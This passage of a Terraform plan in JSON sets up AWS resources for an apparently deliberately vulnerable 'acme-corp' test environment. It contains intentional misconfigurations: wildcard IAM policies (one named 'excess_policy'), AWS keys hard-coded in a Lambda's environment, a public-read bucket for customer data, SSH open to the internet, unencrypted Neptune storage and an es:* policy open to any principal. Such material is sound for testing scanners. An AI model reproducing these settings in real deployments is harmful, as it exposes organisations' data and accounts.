"path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "after_unknown": { "id": true, "role": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } }, "after_unknown": { "arn": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" }, "after_unknown": { "id": true } } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "user_data": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-igw" } }, "after_unknown": { "arn": true, "id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null }, "after_unknown": { "arn": true, "id": true, "target_key_arn": true, "target_key_id": true } } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null }, "after_unknown": { "arn": true, "id": true, "key_id": true, "policy": true } } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] }, "after_unknown": { "arn": true, "dead_letter_config": [], "environment": [ { "variables": {} } ], "file_system_config": [], "id": true, "invoke_arn": true, "last_modified": true, "qualified_arn": true, "role": true, "source_code_size": true, "tracing_config": true, "version": true, "vpc_config": [] } } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "availability_zones": true, "cluster_identifier_prefix": true, "cluster_members": true, "cluster_resource_id": true, "endpoint": true, "engine_version": true, "hosted_zone_id": true, "id": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_maintenance_window": true, "reader_endpoint": true, "vpc_security_group_ids": true } } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "cluster_identifier": true, "dbi_resource_id": true, "endpoint": true, "engine_version": true, "id": true, "identifier": true, "identifier_prefix": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_backup_window": true, "preferred_maintenance_window": true, "storage_encrypted": true, "writer": true } } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null }, "after_unknown": { "allocated_storage": true, "availability_zones": true, "db_cluster_identifier": true, "db_cluster_snapshot_arn": true, "engine": true, "engine_version": true, "id": true, "kms_key_id": true, "license_model": true, "port": true, "snapshot_type": true, "source_db_cluster_snapshot_arn": true, "status": true, "storage_encrypted": true, "vpc_id": true } } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } }, "after_unknown": { "attachment": true, "id": true, "ipv6_address_count": true, "ipv6_addresses": true, "mac_address": true, "outpost_arn": true, "private_dns_name": true, "private_ip": true, "private_ips": [ false ], "private_ips_count": true, "security_groups": true, "subnet_id": true, "tags": {} } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null }, "after_unknown": { "destination_prefix_list_id": true, "egress_only_gateway_id": true, "gateway_id": true, "id": true, "instance_id": true, "instance_owner_id": true, "local_gateway_id": true, "nat_gateway_id": true, "network_interface_id": true, "origin": true, "route_table_id": true, "state": true, "timeouts": {} } } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-rtb" } }, "after_unknown": { "id": true, "owner_id": true, "propagating_vgws": true, "route": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [ { "target_bucket": true } ], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": true } ] } ] } ], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null }, "after_unknown": { "bucket": true, "content_type": true, "etag": true, "id": true, "kms_key_id": true, "server_side_encryption": true, "storage_class": true, "tags": {}, "version_id": true } } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null }, "after_unknown": { "arn": true, "egress": true, "id": true, "ingress": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "egress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "id": true, "ingress": [ { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] }, { "cidr_blocks": [ false ], "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [] } ], "owner_id": true, "vpc_id": true } } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" }, "after_unknown": { "cidr_blocks": [ false ], "id": true, "security_group_id": true, "source_security_group_id": true } } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null }, "after_unknown": { "arn": true, "availability_zone_id": true, "id": true, "ipv6_cidr_block_association_id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null }, "after_unknown": { "id": true, "instance_id": true, "volume_id": true } } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } }, "after_unknown": { "arn": true, "default_network_acl_id": true, "default_route_table_id": true, "default_security_group_id": true, "dhcp_options_id": true, "enable_classiclink": true, "enable_classiclink_dns_support": true, "id": true, "ipv6_association_id": true, "ipv6_cidr_block": true, "main_route_table_id": true, "owner_id": true, "tags": {} } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "change": { "actions": [ "create" ], "before": null, "after": { "triggers": null }, "after_unknown": { "id": true } } } ], "output_changes": { "db_app_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "db_endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "ec2_public_dns": { "actions": [ "create" ], "before": null, "after_unknown": true }, "endpoint": { "actions": [ "create" ], "before": null, "after_unknown": true }, "kubeconfig-certificate-authority-data": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet": { "actions": [ "create" ], "before": null, "after_unknown": true }, "public_subnet2": { "actions": [ "create" ], "before": null, "after_unknown": true }, "secret": { "actions": [ "create" ], "before": null, "after_unknown": true }, "username": { "actions": [ "create" ], "before": null, "after": "123456789123-acme-corp-user", "after_unknown": false }, "vpc_id": { "actions": [ "create" ], "before": null, "after_unknown": true } }, "prior_state": { "format_version": "0.1", "terraform_version": "0.12.23", "values": { "root_module": { "resources": [ { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_name": "aws", "schema_version": 0, "values": { "architecture": "x86_64", "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", "block_device_mappings": [ { "device_name": "/dev/xvda", "ebs": { "delete_on_termination": "true", "encrypted": "false", "iops": "0", "snapshot_id": "snap-06c1606ba5ca274b1", "volume_size": "8", "volume_type": "standard" }, "no_device": "", "virtual_name": "" } ], "creation_date": "2020-09-22T02:09:24.000Z", "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", "executable_users": null, "filter": [ { "name": "name", "values": [ "amzn2-ami-hvm-*-x86_64-ebs" ] }, { "name": "owner-alias", "values": [ "amazon" ] } ], "hypervisor": "xen", "id": "ami-0f0a6d00932023856", "image_id": "ami-0f0a6d00932023856", "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "image_owner_alias": "amazon", "image_type": "machine", "kernel_id": null, "most_recent": true, "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", "name_regex": null, "owner_id": "137112412989", "owners": [ "amazon" ], "platform": null, "product_codes": [], "public": true, "ramdisk_id": null, "root_device_name": "/dev/xvda", "root_device_type": "ebs", "root_snapshot_id": "snap-06c1606ba5ca274b1", "sriov_net_support": "simple", "state": "available", "state_reason": { "code": "UNSET", "message": "UNSET" }, "tags": {}, "virtualization_type": "hvm" } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "aws", "schema_version": 0, "values": { "account_id": "123456789123", "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", "id": "123456789123", "user_id": "AIDA2MPWNTLGWKZRRDYTT" } }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_name": "aws", "schema_version": 0, "values": { "id": "189502314", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "sts:AssumeRole" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "eks.amazonaws.com" ], "type": "Service" } ], "resources": [], "sid": "" } ], "version": "2012-10-17" } }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_name": "aws", "schema_version": 0, "values": { "id": "3931805674", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "override_json": null, "policy_id": null, "source_json": null, "statement": [ { "actions": [ "es:*" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ "*" ], "sid": "" } ], "version": "2012-10-17" } } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "acme3" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "outputs": { "db_app_public_dns": { "expression": { "references": [ "aws_instance.db_app" ] }, "description": "DB Public DNS name" }, "db_endpoint": { "expression": { "references": [ "aws_db_instance.default" ] }, "description": "DB Endpoint" }, "ec2_public_dns": { "expression": { "references": [ 